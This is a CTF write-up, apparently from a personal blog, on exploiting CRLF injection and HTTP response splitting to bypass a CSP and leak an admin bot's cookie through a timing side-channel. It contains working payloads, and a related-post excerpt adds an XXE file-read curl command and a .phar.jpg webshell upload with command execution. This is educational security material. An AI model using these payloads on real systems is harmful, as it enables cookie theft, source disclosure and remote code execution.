Skip to main content
  1. Write-ups/
  2. CTF Write-ups/

No Notes CRLF Challenge | Hackena Ramadan CTF

·1344 words·7 mins·
Table of Contents

How I exploited HTTP response splitting to steal cookies from an isolated bot using only time measurements.

The Challenge That Said “No”
#

When I first landed on the No Notes hehe challenge, I was greeted with a peculiar message:

“Welcome to the secure notes application. We take security very seriously. After discovering XSS vulnerabilities, we have disabled the dynamic notes feature.”

The landing page linked to a single static file: /view/note.txt?name=note.txt. That was it. No forms, no inputs, no obvious attack surface. Just a long-winded text file explaining why the developers decided to remove all features to achieve “perfect security.”

I started by reading the bot code provided to understand what is going on:

const playwright = require('playwright');
const express = require('express');

const app = express();
app.use(express.json());

const PORT = 3000;
const FLAG = process.env.FLAG || "Hackena{test_flag_123}";
const TARGET_DOMAIN = process.env.TARGET_DOMAIN || "localhost"; // web-nonotes:5001

async function visit(url) {
    let browser = null;
    try {
        console.log(`Visiting ${url}`);
        browser = await playwright.chromium.launch({
            args: ['--no-sandbox', '--disable-setuid-sandbox']
        });
        const context = await browser.newContext();

        const cookie = {
            name: 'flag',
            value: FLAG,
            domain: TARGET_DOMAIN,
            path: '/',
            httpOnly: false,
            secure: false,
            sameSite: 'Lax'
        };

        await context.addCookies([cookie]);

        const page = await context.newPage();
        await page.goto(url, { waitUntil: 'domcontentloaded', timeout: 7000 });
        await page.waitForLoadState('networkidle', { timeout: 7000 }).catch(() => {});
        await page.waitForTimeout(1000);
        await browser.close();
        console.log(`Visited ${url}`);
    } catch (e) {
        console.log(`Error visiting ${url}: ${e.message}`);
        if (browser) await browser.close();
    }
}

app.post('/visit', async (req, res) => {
    const url = req.body.url;
    if (!url) {
        return res.status(400).send('Missing url');
    }

    if (!url.startsWith('http')) {
        return res.status(400).send('Invalid URL protocol');
    }

    await visit(url);
    res.send('done');
});

app.listen(PORT, () => {
    console.log(`Bot listening on port ${PORT}`);
});

Key Findings:

  • Cookie name is flag containing the actual flag value.
  • httpOnly: false means JavaScript can access it via document.cookie
  • TARGET_DOMAIN is environment-controlled (affects which origin sees the cookie)
  • sameSite: 'Lax' prevents the cookie from being sent on cross-site subrequests (like images or frames), but it is sent when the user navigates to the target site.

Bot Timing Behavior

  • The bot navigates to your provided URL and waits until the basic HTML is parsed (domcontentloaded). It has a 7-second hard limit.
  • The bot waits until there are no more active network requests (images, scripts, API calls) for at least 500ms. Again, it has a 7-second timeout. The .catch(() => {}) ensures that even if the network never goes quiet, the script doesn’t crash; it just moves on.
  • This is a goldmine for Side-Channel Timing Attacks. By forcing the bot to make many slow network requests (e.g., requesting a non-existent image 1,000 times), an attacker can reliably keep the bot “busy” for the full 7 seconds.

After understanding the bot code clearly I decided to observe the request and the response for the /view/note.txt?name=note.txt endpoint on the burp.

I noticed some important headers:

  • Content-Disposition: inline; filename="note.txt"
  • Content-Type: text/plain; charset=utf-8
  • Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';

There is an important thing I noticed the filename parameter comes from the name parameter and no sanitization visible. Hmm User input in a response header? this is a huge proof about CRLF Injection existence.

What’s CRLF Injection?
#

CRLF stands for Carriage Return (\r, %0D) and Line Feed (\n,%0A) — the special characters that separate HTTP headers. If an application puts untrusted input into a header without sanitization, an attacker can inject new headers or even control the response body entirely.

Come back here! let’s ensure we are right, let me inject this ?name=%22%0D%0AX-Pwned:%20true%0D%0A :

PWNED. The server was blindly placing my input into the header. Now the question became: How far can I push this?

Response Splitting: Taking Full Control
#

A CRLF injection becomes truly dangerous when you can inject not just headers, but an entirely new response body. The trick is using Transfer-Encoding: chunked.

HTTP chunked encoding lets you specify the exact size of your content, then terminate the response. Anything after your chunk — like the original note.txt file — gets ignored by the browser.

We want to take full control of the browser to execute malicious code like steal a cookie, because XSS payloads are filtered, we use the response splitting technique.

Let’s build a test payload:

name="%0D%0ATransfer-Encoding: chunked%0D%0AContent-Type: text/html%0D%0A%0D%0A3%0D%0Aabc%0D%0A0%0D%0A%0D%0A

Payload Structure:

  • %0D%0A —> \r\n → Close the Content-Disposition header.
  • Inject Transfer-Encoding: chunked
  • Change Content-Type to text/html
  • %0D%0A — Empty line (end of headers)
  • 3 — Chunk size: 3 bytes
  • abc — The actual HTML/JS content
  • 0 — Terminating chunk (signals end of response)

Think of the browser like a person reading a script.

  • The Hijack: Normally, the browser waits for the server to finish sending the whole file. But because you injected Transfer-Encoding: chunked, the browser stops looking at the total size and starts reading chunks.
  • The Execution: Since you changed the Content-Type to text/html, the browser doesn’t download a file — it opens a page. It reads your 3 bytes of abc (or your JS payload) and executes it immediately.
  • The Clean Exit (The 0): This is the best part. The browser sees that 0 and thinks, the server is finished! I’ll stop reading now. It completely ignores the rest of the real file that the server tries to send.

Now let’s try making an alert using → http://target.com/view/note.txt?name=%0D%0AContent-Type:text/html%0D%0A%0D%0A<script>alert(document.cookie)</script>

Wait what?! why this not working. I will take a look again in the response. I remember there was a CSP header in the response: Content-Security-Policy: default-src 'none'; script-src 'self'; style-src 'self';

That means:

  • Can’t load external resources.
  • Can’t use inline JavaScript.
  • Can load scripts from same origin (self).

So I’m injecting the response from the same domain, doesn’t that count as 'self'?

The Two-Stage Attack
#

This is where it got creative. I needed to chain two CRLF injections:

Stage 1: Inject an HTML page

<html><body>
<script src="/view/note.txt?name=[CRLF-PAYLOAD-2]"></script>
</body></html>

Stage 2: Make that script src URL return JavaScript instead of text

// My malicious JavaScript here
document.cookie // Flag is here!

Because both responses come from the same origin, CSP’s script-src 'self' allows the execution. Now we know how will be our attack chain look like.

Character Extraction
#

I would extract the characters by the same way (binary search) but it took too much time and hanged the server so I asked Claude to optimize the code.

# Stage 1: Binary search (3-4 queries)
while hi - lo > 23:
    mid = (lo + hi) // 2
    ok = oracle(f'document.cookie.charCodeAt({pos})>{mid}', base)
    if ok: lo = mid + 1
    else: hi = mid

# Stage 2: Parallel equality (5 workers, ~5s per char)
candidates = [c for c in "abcdefg...xyz0123..." if lo <= ord(c) <= hi]
results = oracle_parallel_batch([
    f'document.cookie.charCodeAt({pos})=={ord(c)}' 
    for c in candidates
], base)

Standard binary search was too slow and put too much stress on the server, so I switched to a hybrid approach to speed up the flag extraction:

  • The Bracket (Binary Search): First, I used binary search to “zoom in” on the character. Instead of checking every possibility, I asked the bot a few “Higher or Lower?” questions. This quickly narrowed each character down from 128 possibilities to a tiny “bracket” of about 20 candidates.
  • The Blast (Parallel Testing): Once the range was small enough, I stopped the binary search and tested all remaining candidates at once. By sending these requests in parallel, I didn’t have to wait for them one by one.
  • The Result: I simply looked for the “Slowest Response.” The one request that triggered the 7-second delay told me exactly which character was correct, while the wrong guesses finished almost instantly.

The Final Attack Chain
#

  1. Verify server accepts CRLF injection (no bot needed).
  2. Test JavaScript execution with making an alert.
  3. Find which domain/origin has the cookie
  4. Extract cookie length using binary search (~8 queries)
  5. Extract each character using hybrid method (~50 seconds per char)

The Solver Build
#

Run it using python3 solver.py and wait about 30 min for full flag.

Final Notes

The challenge is a strong example that removing a feature does not remove all attack surface if response construction still trusts user input. The critical sink here is header generation, not HTML template rendering.

Happy Hacking :)

db1M
Author
db1M
Mohanad Edrees — penetration testing enthusiast and CTF player.

Related

Czechoslovakia XSS Challenge | Hackena Ramadan CTF

·827 words·4 mins
How I Exploited an XSS vulnerability in a filtered input parameter using the /a// bypass technique to steal the admin bot’s FLAG cookie through a webhook exfiltration.

BCACTF 2025 Write-Up

·1927 words·10 mins
Misc Category # expletive # oh no! It seems like only some of the characters on my keyboard are working…

File Upload Skill Assessment

·560 words·3 mins
Inspecting the webapp and the functionalities found a submit flag functionality. I read the JS and the HTML codes to see the validation of the frontend, noticed that only images extensions are allowed. I uploaded a .png file and see the request in the burp. it was a GET request and it supposed to be a POST request in uploading a file, so I inspect the code to see the right place to upload files and found in the JS file the correct is to send to the endpoint: contact/upload.php I asked AI to create me a curl request to send a POST request to this endpoint. I fuzzed to see the allowed extension and the allowed content type too and found that svg and images/svg+xml are allowed. So I thought about upload a svg file with XXE payload to craft gain the source code of the backend to know the logic, blacklist, and the whitelist of the uploading function. curl -s -X POST "154.57.164.61:30775/contact/upload.php" \ -F "uploadFile=@/dev/stdin;filename=shell.svg;type=image/svg+xml" \ <<< '<?xml version="1.0" encoding="UTF-8"?> <!DOCTYPE svg [<!ENTITY xxe SYSTEM "php://filter/convert.base64-encode/resource=/var/www/html/contact/upload.php">]> <svg xmlns="http://www.w3.org/2000/svg" width="500" height="500"> <text y="20">&xxe;</text> </svg>' The parameters of the payload got from the HTML code inspection: <input name="uploadFile" id="uploadFile" type="file" class="custom-file-input" id="inputGroupFile02" onchange="checkFile(this)" accept=".jpg,.jpeg,.png"> We got the source code encoded, after decoded, we knew the logic: <?php require_once('./common-functions.php'); // uploaded files directory $target_dir = "./user_feedback_submissions/"; // rename before storing $fileName = date('ymd') . '_' . basename($_FILES["uploadFile"]["name"]); $target_file = $target_dir . $fileName; // get content headers $contentType = $_FILES['uploadFile']['type']; $MIMEtype = mime_content_type($_FILES['uploadFile']['tmp_name']); // blacklist test if (preg_match('/.+\.ph(p|ps|tml)/', $fileName)) { echo "Extension not allowed"; die(); } // whitelist test if (!preg_match('/^.+\.[a-z]{2,3}g$/', $fileName)) { echo "Only images are allowed"; die(); } // type test foreach (array($contentType, $MIMEtype) as $type) { if (!preg_match('/image\/[a-z]{2,3}g/', $type)) { echo "Only images are allowed"; die(); } } // size test if ($_FILES["uploadFile"]["size"] > 500000) { echo "File too large"; die(); } if (move_uploaded_file($_FILES["uploadFile"]["tmp_name"], $target_file)) { displayHTMLImage($target_file); } else { echo "File failed to upload"; } i want to get the flag then The code tells us the following: 1. Blacklist: blocks .php .phps .phtml 2. Whitelist: filename must end in [a-z]{2,3}g → jpg, png, svg, jpeg 3. Content-Type: must match image/[a-z]{2,3}g → image/jpg, image/png, image/svg, image/jpeg 4. MIME: same regex check on actual file content 5. Upload dir: ./user_feedback_submissions/ 6. The file is stored in the database with a unique schema --> DATE_Filename I noticed that the .phar extension not in the blacklist so I can use in uploading a shell which can allow execution of a PHP code. The vulnerability of the whitelist is that it only checks the end of the filename extension has a g so using jpg with double-extension technique will bypass the filters. To ensure the attack implemented successfully, we should put a jpg signature to bypass the MIME check –> \xff\xd8\xff\ ![[Pasted image 20260607022513.png]] So the full request will be: ![[Pasted image 20260607022051.png]] The shell is uploaded and now we want to visit it, after some struggling with the data I reached the true path: http://154.57.164.61:30775/contact/user_feedback_submissions/260606_shell.phar.jpg?cmd=ls The flag isn’t in flag.txt as I tried before catch it with the same way I get the source code, so I knew that I needed an RCE. I search about flag in the entire system: find / -name 'flag*' -o -name '*flag*' -o -name '*.flag' 2>/dev/null The flag in flag_2b8f1d2da162d8c44b3696a1dd8a91c9.txt , just read it.